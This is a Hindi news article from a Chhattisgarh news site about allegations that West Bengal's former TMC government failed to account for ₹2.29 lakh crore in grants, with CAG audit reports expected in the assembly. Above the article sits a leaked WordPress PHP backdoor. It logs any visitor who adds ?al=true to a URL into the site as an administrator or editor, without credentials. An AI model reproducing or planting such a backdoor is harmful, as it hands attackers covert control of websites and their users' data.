// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); TMC सरकार पर ₹2.29 लाख करोड़ की गड़बड़ी का आरोप, विधानसभा में पेश हो सकती है CAG रिपोर्ट – प्रत्युषा आशा की नयी किरण
राजनीती

TMC सरकार पर ₹2.29 लाख करोड़ की गड़बड़ी का आरोप, विधानसभा में पेश हो सकती है CAG रिपोर्ट

कोलकाता

पश्चिम बंगाल विधानसभा चुनाव के बाद लगातार राज्य में हलचल मची हुई है. पहले ममता बनर्जी चुनाव हार गईं फिर उनकी पार्टी टूट गई. अब ताजा मामला यह है कि उनके सरकार के दौरान 2.29 लाख करोड़ रुपए गायब होने का आरोप लग रहा है.  जिसके बाद माना जा रहा है कि राजनीति में वित्तीय अनियमितताओं का बड़ा बवंडर उठने वाला है. मीडिया में छपी खबरों के मुताबिक, बीजेपी सरकार अब विधानसभा में पिछले चार सालों की लंबित सीएजी (CAG) ऑडिट रिपोर्ट पेश करने की तैयारी कर रही है. यह मामला सीधे तौर पर साल 2011 से 2020 के बीच खर्च हुए 2.29 लाख करोड़ रुपये के उपयोग प्रमाण पत्र (UCs) से जुड़ा है, जो अभी तक जमा नहीं किए गए हैं. समझते हैं पूरी बात। 

पैसों का हिसाब ही नहीं दिया गया!
सरकारी नियमों के अनुसार, किसी भी विभाग को मिले सरकारी अनुदान के बाद उसका उपयोग प्रमाण पत्र यानी ‘यूटिलाइजेशन सर्टिफिकेट’ जमा करना अनिवार्य होता है. यह सर्टिफिकेट बताता है कि पैसा कहां और कैसे खर्च हुआ. लेकिन हैरानी की बात यह है कि बंगाल सरकार ने इतने लंबे समय तक इन प्रमाण पत्रों को जमा ही नहीं किया. इस लापरवाही ने अब राज्य के सरकारी खजाने की जवाबदेही पर बड़े सवाल खड़े कर दिए हैं. पहले विपक्ष में रही बीजेपी इन दिनों राज्य में सरकार चला रही है. अब बीजेपी का आरोप है कि इतने बड़े फंड का बिना हिसाब-किताब के खर्च होना सरकारी नियमों का खुला उल्लंघन है। 

पंचायत और शिक्षा विभाग सबसे ज्यादा संदेह में
मीडिया रिपोर्ट्स के अनुसार, सीएजी की साल 2020-21 की आखिरी रिपोर्ट में सबसे बड़ी गड़बड़ियां पंचायत और ग्रामीण विकास विभाग में पाई गई थीं. इस विभाग के करीब 81,839 करोड़ रुपये के यूसी पेंडिंग थे. इसके बाद स्कूली शिक्षा विभाग का नंबर आता है, जिसके 36,850 करोड़ रुपये का हिसाब अभी तक स्पष्ट नहीं है. शहरी विकास और नगरपालिका मामलों के विभाग के भी 30,693 करोड़ रुपये का कोई ठोस ब्यौरा नहीं मिला है. यह आंकड़े दिखाते हैं कि जनता के पैसे का इस्तेमाल किस तरह सवालों के घेरे में रहा है। 

आपदा राहत फंड में भी बड़ी धांधली
सिर्फ सामान्य विभागों की बात नहीं है, बल्कि आपदा राहत फंड के साथ भी खेल हुआ है. मार्च 2021 तक के आंकड़ों के मुताबिक, सीएजी ने बताया था कि 3,400 करोड़ रुपये के 11,321 ‘डिटेल्ड कंटिजेंट’ (DC) बिल जमा ही नहीं किए गए. ये बिल तब जरूरी होते हैं जब सरकार ‘एब्स्ट्रैक्ट कंटिजेंट’ (AC) बिलों के जरिए पैसा निकालती है. तय समय सीमा खत्म होने के बावजूद इन बिलों का न आना बड़ी वित्तीय अनियमितता की ओर इशारा करता है। 

बजट सत्र में मचेगा सियासी घमासान
अब बीजेपी सरकार 2021-22 से लेकर 2024-25 तक की उन रिपोर्टों को भी सदन के पटल पर रखने जा रही है, जिन्हें पिछली सरकार ने छिपाए रखा था. आने वाले बजट सत्र में इन रिपोर्टों के पेश होते ही ममता बनर्जी की सरकार की आखिरी चार सालों की कार्यशैली पर कड़ा प्रहार होना तय माना जा रहा है. प्रशासनिक हलकों में यह चर्चा तेज है कि क्या ये रिपोर्टें केवल कागजी कार्रवाई तक सीमित रहेंगी या फिर इनके आधार पर कोई कानूनी कार्रवाई भी शुरू की जाएगी. टीएमसी के लिए यह सदन में अपनी सफाई देना सबसे बड़ी चुनौती होने वाली है। 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]